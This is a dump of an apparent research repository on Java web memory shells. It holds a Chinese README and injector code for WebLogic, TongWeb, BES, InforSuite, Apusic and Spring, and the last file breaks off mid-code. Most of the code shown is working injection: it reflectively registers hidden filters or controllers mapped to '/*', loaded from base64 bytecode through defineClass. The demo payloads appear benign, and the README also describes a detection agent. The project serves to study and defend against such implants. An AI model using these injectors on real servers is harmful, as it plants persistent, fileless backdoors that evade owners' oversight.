/memshell-test/memshell-test-weblogic/src/org/su18/memshell/test/weblogic/DynamicUtils.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.weblogic;
2 |
3 |
4 | import sun.misc.BASE64Decoder;
5 |
6 | import java.io.IOException;
7 | import java.lang.reflect.InvocationTargetException;
8 | import java.lang.reflect.Method;
9 |
10 | /**
11 | * @author su18
12 | */
13 | public class DynamicUtils {
14 |
15 |
16 | public static String FILTER_CLASS_STRING = "yv66vgAAADQANwoABwAiCwAjACQIACUKACYAJwsAKAApBwAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACpMb3JnL3N1MTgvbWVtc2hlbGwvdGVzdC90b21jYXQvVGVzdEZpbHRlcjsBAARpbml0AQAfKExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzspVgEADGZpbHRlckNvbmZpZwEAHExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzsBAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEACkV4Y2VwdGlvbnMHAC0HAC4BAAdkZXN0cm95AQAKU291cmNlRmlsZQEAD1Rlc3RGaWx0ZXIuamF2YQwACQAKBwAvDAAwADEBAA90aGlzIGlzIEZpbHRlciAHADIMADMANAcANQwAFAA2AQAob3JnL3N1MTgvbWVtc2hlbGwvdGVzdC90b21jYXQvVGVzdEZpbHRlcgEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAE2phdmEvaW8vSU9FeGNlcHRpb24BAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgAhAAYABwABAAgAAAAEAAEACQAKAAEACwAAAC8AAQABAAAABSq3AAGxAAAAAgAMAAAABgABAAAACQANAAAADAABAAAABQAOAA8AAAABABAAEQABAAsAAAA1AAAAAgAAAAGxAAAAAgAMAAAABgABAAAAEgANAAAAFgACAAAAAQAOAA8AAAAAAAEAEgATAAEAAQAUABUAAgALAAAAZAADAAQAAAAULLkAAgEAEgO2AAQtKyy5AAUDALEAAAACAAwAAAAOAAMAAAAfAAsAIQATACIADQAAACoABAAAABQADgAPAAAAAAAUABYAFwABAAAAFAAYABkAAgAAABQAGgAbAAMAHAAAAAYAAgAdAB4AAQAfAAoAAQALAAAAKwAAAAEAAAABsQAAAAIADAAAAAYAAQAAACkADQAAAAwAAQAAAAEADgAPAAAAAQAgAAAAAgAh";
17 |
18 | public static Class> getClass(String classCode) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException {
19 | ClassLoader loader = Thread.currentThread().getContextClassLoader();
20 | BASE64Decoder base64Decoder = new BASE64Decoder();
21 | byte[] bytes = base64Decoder.decodeBuffer(classCode);
22 |
23 | Method method = null;
24 | Class> clz = loader.getClass();
25 | while (method == null && clz != Object.class) {
26 | try {
27 | method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
28 | } catch (NoSuchMethodException ex) {
29 | clz = clz.getSuperclass();
30 | }
31 | }
32 |
33 | if (method != null) {
34 | method.setAccessible(true);
35 | return (Class>) method.invoke(loader, bytes, 0, bytes.length);
36 | }
37 |
38 | return null;
39 |
40 | }
41 | }
42 |
43 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-tongweb/src/org/su18/memshell/test/tongweb/DynamicUtils.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.tongweb;
2 |
3 | import sun.misc.BASE64Decoder;
4 |
5 | import java.io.IOException;
6 | import java.lang.reflect.InvocationTargetException;
7 | import java.lang.reflect.Method;
8 |
9 | /**
10 | * @author su18
11 | */
12 | public class DynamicUtils {
13 |
14 | public static String SERVLET_CLASS_STRING = "yv66vgAAADQANAoABgAjCwAkACUIACYKACcAKAcAKQcAKgcAKwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQArTG9yZy9zdTE4L21lbXNoZWxsL3Rlc3QvdG9tY2F0L1Rlc3RTZXJ2bGV0OwEABGluaXQBACAoTGphdmF4L3NlcnZsZXQvU2VydmxldENvbmZpZzspVgEADXNlcnZsZXRDb25maWcBAB1MamF2YXgvc2VydmxldC9TZXJ2bGV0Q29uZmlnOwEACkV4Y2VwdGlvbnMHACwBABBnZXRTZXJ2bGV0Q29uZmlnAQAfKClMamF2YXgvc2VydmxldC9TZXJ2bGV0Q29uZmlnOwEAB3NlcnZpY2UBAEAoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOylWAQAOc2VydmxldFJlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAA9zZXJ2bGV0UmVzcG9uc2UBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7BwAtAQAOZ2V0U2VydmxldEluZm8BABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB2Rlc3Ryb3kBAApTb3VyY2VGaWxlAQAQVGVzdFNlcnZsZXQuamF2YQwACAAJBwAuDAAvADABAARzdTE4BwAxDAAyADMBAClvcmcvc3UxOC9tZW1zaGVsbC90ZXN0L3RvbWNhdC9UZXN0U2VydmxldAEAEGphdmEvbGFuZy9PYmplY3QBABVqYXZheC9zZXJ2bGV0L1NlcnZsZXQBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAEABwAAAAYAAQAIAAkAAQAKAAAALwABAAEAAAAFKrcAAbEAAAACAAsAAAAGAAEAAAAJAAwAAAAMAAEAAAAFAA0ADgAAAAEADwAQAAIACgAAADUAAAACAAAAAbEAAAACAAsAAAAGAAEAAAAOAAwAAAAWAAIAAAABAA0ADgAAAAAAAQARABIAAQATAAAABAABABQAAQAVABYAAQAKAAAALAABAAEAAAACAbAAAAACAAsAAAAGAAEAAAASAAwAAAAMAAEAAAACAA0ADgAAAAEAFwAYAAIACgAAAE4AAgADAAAADCy5AAIBABIDtgAEsQAAAAIACwAAAAoAAgAAABcACwAYAAwAAAAgAAMAAAAMAA0ADgAAAAAADAAZABoAAQAAAAwAGwAcAAIAEwAAAAYAAgAUAB0AAQAeAB8AAQAKAAAALAABAAEAAAACAbAAAAACAAsAAAAGAAEAAAAcAAwAAAAMAAEAAAACAA0ADgAAAAEAIAAJAAEACgAAACsAAAABAAAAAbEAAAACAAsAAAAGAAEAAAAiAAwAAAAMAAEAAAABAA0ADgAAAAEAIQAAAAIAIg==";
15 |
16 | public static Class> getClass(String classCode) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException {
17 | ClassLoader loader = Thread.currentThread().getContextClassLoader();
18 | BASE64Decoder base64Decoder = new BASE64Decoder();
19 | byte[] bytes = base64Decoder.decodeBuffer(classCode);
20 |
21 | Method method = null;
22 | Class> clz = loader.getClass();
23 | while (method == null && clz != Object.class) {
24 | try {
25 | method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
26 | } catch (NoSuchMethodException ex) {
27 | clz = clz.getSuperclass();
28 | }
29 | }
30 |
31 | if (method != null) {
32 | method.setAccessible(true);
33 | return (Class>) method.invoke(loader, bytes, 0, bytes.length);
34 | }
35 |
36 | return null;
37 |
38 | }
39 |
40 | }
41 |
--------------------------------------------------------------------------------
/Readme.md:
--------------------------------------------------------------------------------
1 | # Memory Shell
2 |
3 | JavaWeb MemoryShell Inject/Scan/Killer/Protect Research & Exploring
4 |
5 | 文章:[JavaWeb 内存马一周目通关攻略](https://su18.org/post/memory-shell)
6 |
7 |
8 |
9 | ## 项目介绍
10 |
11 | 本项目用来学习和研究 JavaWeb 内存马添加和防御模式,共包含以下几个模块。
12 |
13 | ### memshell-test
14 |
15 | 模块 memshell-test 中,针对各个常用中间件实现了至少一种 Servlet-API 类型的内存马。
16 |
17 | 包含几乎全部常见中间件的内存马写入测试文件,部分文件来自各位师傅们的分享,经修改和调整后已经全部经过测试。开箱即用。
18 |
19 | 目前包含的实现方式有:
20 |
21 | | 中间件 | 测试版本 | 内存马实现方式 |
22 | | ---------- | --------------------------- | --------------------------------------------------- |
23 | | apusic | AAS Enterprise Edition 9.0 | Filter |
24 | | bes | BES-LITE-9.5.0.382 | Filter |
25 | | glassfish | GlassFish 5.0.0 | Filter
Grizzly Filter |
26 | | inforsuite | InforSuiteAS_10 | Filter |
27 | | jboss | JBoss/WildFly 18.0.0.Final | Servlet
Filter |
28 | | jetty | Jetty 9.4.22 | Servlet
Filter |
29 | | resin | Resin 4.0.65 | Servlet
Filter |
30 | | tomcat | Tomcat 8.5.31 | Servlet
Filter
Listener
Tomcat Valve |
31 | | tongweb | TongWeb 7.0.25 | Servlet |
32 | | weblogic | WebLogic 12.2.1.3.0 | Filter |
33 | | websphere | WebSphere/Liberty 20.0.0.12 | Filter |
34 |
35 | 由于重点关注内存马的写入方式,因此上下文的获取、关键类的定位这里没有讨论。
36 |
37 | 欢迎测试和补充。
38 |
39 | ### memshell-inject
40 |
41 | 模拟冰蝎的写入内存马测试项目。
42 |
43 | 使用 JavaAgent 技术配合 javassist 写入字节码,项目 Hook 了 `javax.servlet.http.HttpServletRequest` 的 `getQueryString` 方法,返回指定字符串,配合 memshell-test-tomcat 的 `QueryStringServlet` 使用。
44 |
45 | ### memshell-spring
46 |
47 | spring controller 内存马以及 interceptor 内存马动态添加测试项目。
48 |
49 | ### memshell-loader && memshell-scanner
50 |
51 | suagent 项目,使用 JavaAgent 技术来检测和防御内存马。
52 |
53 |
54 |
55 | ## SuAgent
56 |
57 | 使用 JavaAgent 技术配合 ASM 字节码编织,获取系统中全部加载的 class,并判断其是否为内存马,如果匹配检测逻辑,将插入字节码绕过内存马逻辑,达到防御内存马的目的。
58 |
59 | 使用方法:
60 |
61 | - build 项目后会在 suagent 文件夹生成 suagent-loader.jar 以及 suagent-scanner.jar 两个文件。
62 | - 使用 java -jar suagent-loader.jar 可列举出当前系统上的 JVM PID 列表。
63 | - 使用 java -jar suagent-loader.jar attach 100 对指定 PID 进行 attach 注入,suagent 会自动对系统内 servlet-api 类型的内存马进行扫描和字节注入,可以在控制台下看到日志输出。
64 | - 使用 java -jar suagent-loader.jar detach 100 移除 agent。
65 |
66 |
67 |
68 | **测试视频:**
69 |
70 | [](https://youtu.be/tTFv15uCNjQ "Memory Shell Test")
71 |
72 |
73 | ## 广告
74 |
75 | Suagent 提供了 Servlet-API 内存马的查杀和清除能力,但是代码过于儿戏,覆盖不全是一方面,添加防御也是一方面,我会随缘更新这个项目不断完善主流内存马的查杀、检测及防御,但较为完整和成熟的 JavaWeb 内存马防御能力代码,请关注 RASP 安全产品:[安百科技-灵蜥](http://www.anbai.com/lxPlatform/)。
--------------------------------------------------------------------------------
/memshell-test/memshell-test-weblogic/src/org/su18/memshell/test/weblogic/AddWeblogicFilter.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.weblogic;
2 |
3 | import weblogic.servlet.internal.FilterManager;
4 | import weblogic.servlet.internal.WebAppServletContext;
5 | import weblogic.servlet.utils.ServletMapping;
6 | import weblogic.utils.collections.MatchMap;
7 |
8 | import javax.servlet.http.HttpServlet;
9 | import javax.servlet.http.HttpServletRequest;
10 | import javax.servlet.http.HttpServletResponse;
11 | import java.lang.reflect.Field;
12 | import java.lang.reflect.Method;
13 | import java.util.ArrayList;
14 | import java.util.Map;
15 |
16 | import static org.su18.memshell.test.weblogic.DynamicUtils.FILTER_CLASS_STRING;
17 |
18 | /**
19 | * 来自项目 https://github.com/feihong-cs/memShell
20 | * 亲测有效
21 | * 测试版本 WebLogic 12.2.1.3.0
22 | *
23 | * @author su18
24 | */
25 | public class AddWeblogicFilter extends HttpServlet {
26 |
27 | @Override
28 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
29 |
30 | //为了兼容低版本的 weblgoic,所以有些逻辑(如排序)没法利用现成的 api,因为老版本不持
31 | try {
32 | String filterName = "dynamicFilter1";
33 | String urlPattern = "/*";
34 |
35 | Field contextField = req.getClass().getDeclaredField("context");
36 | contextField.setAccessible(true);
37 | WebAppServletContext servletContext = (WebAppServletContext) contextField.get(req);
38 | FilterManager filterManager = servletContext.getFilterManager();
39 |
40 | // 判断一下,防止多次加载, 默认只加载一次,不需要重复加载
41 | if (!filterManager.isFilterRegistered(filterName)) {
42 |
43 | //将 Filter 注册进 FilterManager
44 | //参数: String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers
45 | Method registerFilterMethod = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
46 | registerFilterMethod.setAccessible(true);
47 | registerFilterMethod.invoke(filterManager, filterName, DynamicUtils.getClass(FILTER_CLASS_STRING).getName(), new String[]{urlPattern}, null, null, null);
48 |
49 |
50 | //将我们添加的 Filter 移动到 FilterChian 的第一位
51 | Field filterPatternListField = filterManager.getClass().getDeclaredField("filterPatternList");
52 | filterPatternListField.setAccessible(true);
53 | ArrayList filterPatternList = (ArrayList) filterPatternListField.get(filterManager);
54 |
55 |
56 | //不能用 filterName 来判断,因为在 11g 中此值为空,在 12g 中正常
57 | for (int i = 0; i < filterPatternList.size(); i++) {
58 | Object filterPattern = filterPatternList.get(i);
59 | Field f = filterPattern.getClass().getDeclaredField("map");
60 | f.setAccessible(true);
61 | ServletMapping mapping = (ServletMapping) f.get(filterPattern);
62 |
63 | f = mapping.getClass().getSuperclass().getDeclaredField("matchMap");
64 | f.setAccessible(true);
65 | MatchMap matchMap = (MatchMap) f.get(mapping);
66 |
67 | Object result = matchMap.match(urlPattern);
68 | if (result != null && result.toString().contains(urlPattern)) {
69 | Object temp = filterPattern;
70 | filterPatternList.set(i, filterPatternList.get(0));
71 | filterPatternList.set(0, temp);
72 | break;
73 | }
74 | }
75 |
76 | resp.getWriter().println("weblogic filter added");
77 | }
78 | } catch (Exception e) {
79 | e.printStackTrace();
80 | }
81 | }
82 | }
--------------------------------------------------------------------------------
/memshell-spring/src/main/java/org/su18/memshell/spring/controller/AddController.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.spring.controller;
2 |
3 | import org.springframework.stereotype.Controller;
4 | import org.springframework.web.bind.annotation.GetMapping;
5 | import org.springframework.web.bind.annotation.RequestMapping;
6 | import org.springframework.web.context.WebApplicationContext;
7 | import org.springframework.web.context.request.RequestContextHolder;
8 | import org.springframework.web.context.request.ServletRequestAttributes;
9 | import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
10 | import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
11 | import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
12 | import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
13 | import org.springframework.web.servlet.support.RequestContextUtils;
14 |
15 | import javax.servlet.http.HttpServletRequest;
16 | import javax.servlet.http.HttpServletResponse;
17 | import java.lang.reflect.Field;
18 | import java.lang.reflect.Method;
19 | import java.util.Map;
20 |
21 | import static org.su18.memshell.spring.controller.DynamicUtils.CONTROLLER_CLASS_STRING;
22 |
23 | /**
24 | * 访问此接口动态添加 controller
25 | *
26 | * @author su18
27 | */
28 | @Controller
29 | @RequestMapping(value = "/add")
30 | public class AddController {
31 |
32 | @GetMapping()
33 | public void index(HttpServletRequest request, HttpServletResponse response) throws Exception {
34 |
35 | final String controllerPath = "/su18";
36 |
37 | // 获取当前应用上下文
38 | WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
39 |
40 | // 通过 context 获取 RequestMappingHandlerMapping 对象
41 | RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
42 |
43 | // 获取父类的 MappingRegistry 属性
44 | Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
45 | f.setAccessible(true);
46 | Object mappingRegistry = f.get(mapping);
47 |
48 | // 反射调用 MappingRegistry 的 register 方法
49 | Class> c = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry");
50 |
51 | Method[] ms = c.getDeclaredMethods();
52 |
53 | // 判断当前路径是否已经添加
54 | Field field = c.getDeclaredField("urlLookup");
55 | field.setAccessible(true);
56 |
57 | Map urlLookup = (Map) field.get(mappingRegistry);
58 | for (String urlPath : urlLookup.keySet()) {
59 | if (controllerPath.equals(urlPath)) {
60 | response.getWriter().println("controller url path exist already");
61 | return;
62 | }
63 | }
64 |
65 | // 初始化一些注册需要的信息
66 | PatternsRequestCondition url = new PatternsRequestCondition(controllerPath);
67 | RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
68 | RequestMappingInfo info = new RequestMappingInfo(url, condition, null, null, null, null, null);
69 |
70 | Class> myClass = DynamicUtils.getClass(CONTROLLER_CLASS_STRING);
71 |
72 | for (Method method : ms) {
73 | if ("register".equals(method.getName())) {
74 | // 反射调用 MappingRegistry 的 register 方法注册 TestController 的 index
75 | method.setAccessible(true);
76 | method.invoke(mappingRegistry, info, myClass.newInstance(), myClass.getMethods()[0]);
77 | response.getWriter().println("spring controller add");
78 | }
79 | }
80 | }
81 | }
82 |
--------------------------------------------------------------------------------
/memshell-loader/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 |
6 | MemoryShell
7 | org.su18
8 | 1.0.0
9 |
10 | 4.0.0
11 |
12 | memshell-loader
13 |
14 |
15 | suagent-loader
16 |
17 |
18 | org.apache.maven.plugins
19 | maven-compiler-plugin
20 | 3.8.1
21 |
22 | 1.6
23 | 1.6
24 | UTF-8
25 |
26 |
27 |
28 |
29 | org.apache.maven.plugins
30 | maven-jar-plugin
31 | 2.3.2
32 |
33 |
34 |
35 | src/main/resources/MANIFEST.MF
36 |
37 |
38 |
39 |
40 |
41 | org.apache.maven.plugins
42 | maven-shade-plugin
43 | 3.2.2
44 |
45 |
46 | package
47 |
48 | shade
49 |
50 |
51 |
52 |
53 | *:*
54 |
55 | MANIFEST.MF
56 | META-INF/maven/
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 | maven-antrun-plugin
67 |
68 |
69 | package
70 |
71 |
72 |
75 |
76 |
77 |
78 | run
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-bes/src/org/su18/memshell/test/bes/AddBESFilter.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.bes;
2 |
3 | import com.bes.enterprise.util.descriptor.web.FilterDef;
4 | import com.bes.enterprise.util.descriptor.web.FilterMap;
5 | import com.bes.enterprise.webtier.core.CloudServletContext;
6 |
7 | import javax.servlet.DispatcherType;
8 | import javax.servlet.Filter;
9 | import javax.servlet.ServletContext;
10 | import javax.servlet.ServletException;
11 | import javax.servlet.http.HttpServlet;
12 | import javax.servlet.http.HttpServletRequest;
13 | import javax.servlet.http.HttpServletResponse;
14 | import java.io.IOException;
15 | import java.lang.reflect.Constructor;
16 | import java.lang.reflect.Field;
17 | import java.lang.reflect.Method;
18 | import java.util.HashMap;
19 |
20 | import static org.su18.memshell.test.bes.DynamicUtils.FILTER_CLASS_STRING;
21 |
22 | /**
23 | * BES ≈ Tomcat,跟 GlassFish 也是一家人,在其基础上稍微改改
24 | * 测试版本 BES-LITE-9.5.0.382
25 | *
26 | * @author su18
27 | */
28 | public class AddBESFilter extends HttpServlet {
29 |
30 | @Override
31 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
32 |
33 |
34 | String filterName = "su18BESFilter";
35 | String urlPattern = "/*";
36 | ServletContext servletContext = req.getServletContext();
37 |
38 | CloudServletContext context = null;
39 |
40 | try {
41 |
42 | // 获取 Context
43 | while (context == null) {
44 | Field f = servletContext.getClass().getDeclaredField("context");
45 | f.setAccessible(true);
46 | Object object = f.get(servletContext);
47 |
48 | if (object instanceof CloudServletContext) {
49 | context = (CloudServletContext) object;
50 | } else if (object instanceof ServletContext) {
51 | servletContext = (ServletContext) object;
52 | }
53 | }
54 |
55 | // 创建自定义 Filter 对象
56 | Filter filter = (Filter) DynamicUtils.getClass(FILTER_CLASS_STRING).newInstance();
57 |
58 | // 创建 FilterDef 对象
59 | FilterDef filterDef = new FilterDef();
60 | filterDef.setFilterName(filterName);
61 | filterDef.setFilter(filter);
62 | // filterDef.setFilterClass(filter.getClass());
63 |
64 | // 创建 ApplicationFilterConfig 对象
65 | Constructor>[] constructor = Class.forName("com.bes.enterprise.webtier.core.ApplicationFilterConfig").getDeclaredConstructors();
66 | constructor[0].setAccessible(true);
67 | Object config = constructor[0].newInstance(context, filterDef);
68 |
69 | // 创建 FilterMap 对象
70 | FilterMap filterMap = new FilterMap();
71 | filterMap.setFilterName(filterName);
72 | filterMap.setDispatcher(DispatcherType.REQUEST.name());
73 | filterMap.addURLPattern(urlPattern);
74 |
75 |
76 | // 反射将 ApplicationFilterConfig 放入 StandardContext 中的 filterConfigs 中
77 | Field filterConfigsField = context.getClass().getDeclaredField("filterConfigs");
78 | filterConfigsField.setAccessible(true);
79 | HashMap filterConfigs = (HashMap) filterConfigsField.get(context);
80 | filterConfigs.put(filterName, config);
81 |
82 | // 反射将 FilterMap 放入 StandardContext 中的 filterMaps 中
83 | Field filterMapField = context.getClass().getDeclaredField("filterMaps");
84 | filterMapField.setAccessible(true);
85 | Object object = filterMapField.get(context);
86 |
87 | Class c = Class.forName("com.bes.enterprise.webtier.core.CloudServletContext$ContextFilterMaps");
88 | Method m = c.getDeclaredMethod("addBefore", FilterMap.class);
89 | m.setAccessible(true);
90 | m.invoke(object, filterMap);
91 |
92 | resp.getWriter().println("bes filter added");
93 |
94 | } catch (Exception e) {
95 | e.printStackTrace();
96 | }
97 |
98 | }
99 | }
--------------------------------------------------------------------------------
/memshell-test/memshell-test-inforsuite/src/org/su18/memshell/test/inforsuite/AddInforSuiteFilter.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.inforsuite;
2 |
3 | import com.cvicse.loong.enterprise.web.WebModule;
4 | import org.apache.catalina.deploy.FilterDef;
5 | import org.apache.catalina.deploy.FilterMap;
6 |
7 | import javax.servlet.DispatcherType;
8 | import javax.servlet.Filter;
9 | import javax.servlet.ServletContext;
10 | import javax.servlet.ServletException;
11 | import javax.servlet.http.HttpServlet;
12 | import javax.servlet.http.HttpServletRequest;
13 | import javax.servlet.http.HttpServletResponse;
14 | import java.io.IOException;
15 | import java.lang.reflect.Constructor;
16 | import java.lang.reflect.Field;
17 | import java.util.HashMap;
18 | import java.util.HashSet;
19 | import java.util.List;
20 |
21 | import static org.su18.memshell.test.inforsuite.DynamicUtils.FILTER_CLASS_STRING;
22 |
23 | /**
24 | * 真垃圾,mac 上部署个项目都部不起来,浪费我好多时间
25 | * 测试版本:InforSuiteAS_10
26 | *
27 | * @author su18
28 | */
29 |
30 | public class AddInforSuiteFilter extends HttpServlet {
31 |
32 | @Override
33 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
34 |
35 |
36 | String filterName = "su18InforSuiteFilter";
37 | ServletContext servletContext = req.getServletContext();
38 |
39 | WebModule context = null;
40 |
41 | try {
42 |
43 | // 获取 Context
44 | while (context == null) {
45 | Field f = servletContext.getClass().getDeclaredField("context");
46 | f.setAccessible(true);
47 | Object object = f.get(servletContext);
48 |
49 | if (object instanceof WebModule) {
50 | context = (WebModule) object;
51 | } else if (object instanceof ServletContext) {
52 | servletContext = (ServletContext) object;
53 | }
54 | }
55 |
56 | // 创建自定义 Filter 对象
57 | Filter filter = (Filter) DynamicUtils.getClass(FILTER_CLASS_STRING).newInstance();
58 |
59 | // 创建 FilterDef 对象
60 | FilterDef filterDef = new FilterDef();
61 | filterDef.setFilterName(filterName);
62 | filterDef.setFilter(filter);
63 | // filterDef.setFilterClass(filter.getClass());
64 |
65 | // 创建 ApplicationFilterConfig 对象
66 | Constructor>[] constructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
67 | constructor[0].setAccessible(true);
68 | Object config = constructor[0].newInstance(context, filterDef);
69 |
70 | // 创建 FilterMap 对象
71 | FilterMap filterMap = new FilterMap();
72 | filterMap.setFilterName(filterName);
73 | filterMap.setURLPattern("/*");
74 | HashSet set = new HashSet<>();
75 | set.add(DispatcherType.REQUEST);
76 | filterMap.setDispatcherTypes(set);
77 |
78 |
79 | // 反射将 ApplicationFilterConfig 放入 StandardContext 中的 filterConfigs 中
80 | Field filterConfigsField = context.getClass().getSuperclass().getSuperclass().getDeclaredField("filterConfigs");
81 | filterConfigsField.setAccessible(true);
82 | HashMap filterConfigs = (HashMap) filterConfigsField.get(context);
83 | filterConfigs.put(filterName, config);
84 |
85 | // 反射将 FilterMap 放入 StandardContext 中的 filterMaps 中
86 | Field filterMapField = context.getClass().getSuperclass().getSuperclass().getDeclaredField("filterMaps");
87 | filterMapField.setAccessible(true);
88 | List object = (List) filterMapField.get(context);
89 |
90 | object.add(filterMap);
91 |
92 | resp.getWriter().println("inforsuite filter added");
93 |
94 | } catch (Exception e) {
95 | e.printStackTrace();
96 | }
97 |
98 | }
99 | }
100 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-apusic/src/org/su18/memshell/test/apusic/AddApusicFilter.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.apusic;
2 |
3 | import com.apusic.deploy.runtime.FilterMapping;
4 | import com.apusic.deploy.runtime.FilterModel;
5 | import com.apusic.deploy.runtime.WebModule;
6 | import com.apusic.web.container.WebContainer;
7 |
8 | import javax.servlet.Filter;
9 | import javax.servlet.ServletException;
10 | import javax.servlet.http.HttpServlet;
11 | import javax.servlet.http.HttpServletRequest;
12 | import javax.servlet.http.HttpServletResponse;
13 | import java.io.IOException;
14 | import java.lang.reflect.Constructor;
15 | import java.lang.reflect.Field;
16 | import java.lang.reflect.Method;
17 | import java.util.Map;
18 |
19 | import static org.su18.memshell.test.apusic.DynamicUtils.FILTER_CLASS_STRING;
20 |
21 | /**
22 | * AAS ≈ GlassFish ,在其基础上稍微改改
23 | * 测试版本 AAS Enterprise Edition 9.0
24 | *
25 | * @author su18
26 | */
27 | public class AddApusicFilter extends HttpServlet {
28 |
29 | @Override
30 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
31 |
32 | String filterName = "su18ApusicFilter";
33 | WebContainer context = (WebContainer) req.getServletContext();
34 |
35 | try {
36 | Field f = context.getClass().getDeclaredField("webapp");
37 | f.setAccessible(true);
38 | WebModule webapp = (WebModule) f.get(context);
39 |
40 | Class> filterClass = DynamicUtils.getClass(FILTER_CLASS_STRING);
41 |
42 | FilterModel model = new FilterModel(webapp);
43 | model.setFilterClass(filterClass.getName());
44 | model.setDisplayName(filterName);
45 | model.setInstance((Filter) filterClass.newInstance());
46 | model.setName(filterName);
47 | webapp.addFilter(model);
48 |
49 | Field f2 = webapp.getClass().getDeclaredField("filters");
50 | f2.setAccessible(true);
51 | Map map = (Map) f2.get(webapp);
52 |
53 |
54 | map.put(filterName, model);
55 |
56 | // 创建 FilterMap 对象
57 | FilterMapping filterMap = new FilterMapping();
58 | filterMap.setFilterName(filterName);
59 | filterMap.setUrlPattern("/*");
60 | filterMap.setServletName("IndexServlet");
61 |
62 | webapp.addFilterMapping(filterMap);
63 |
64 |
65 | Field f4 = context.getClass().getDeclaredField("filters");
66 | f4.setAccessible(true);
67 | Map mapp = (Map) f4.get(context);
68 |
69 | Class c1 = Class.forName("com.apusic.web.container.FilterComponent");
70 | Constructor constructor = c1.getDeclaredConstructors()[0];
71 | constructor.setAccessible(true);
72 |
73 | mapp.put(filterName, constructor.newInstance(context, model));
74 |
75 | Field f3 = context.getClass().getDeclaredField("filterMapper");
76 | f3.setAccessible(true);
77 | Object mapper = f3.get(context);
78 |
79 | Class c = Class.forName("com.apusic.web.container.FilterMapper");
80 | Field f5 = c.getDeclaredField("patternMappings");
81 | f5.setAccessible(true);
82 | Object[] mappings = (Object[]) f5.get(mapper);
83 |
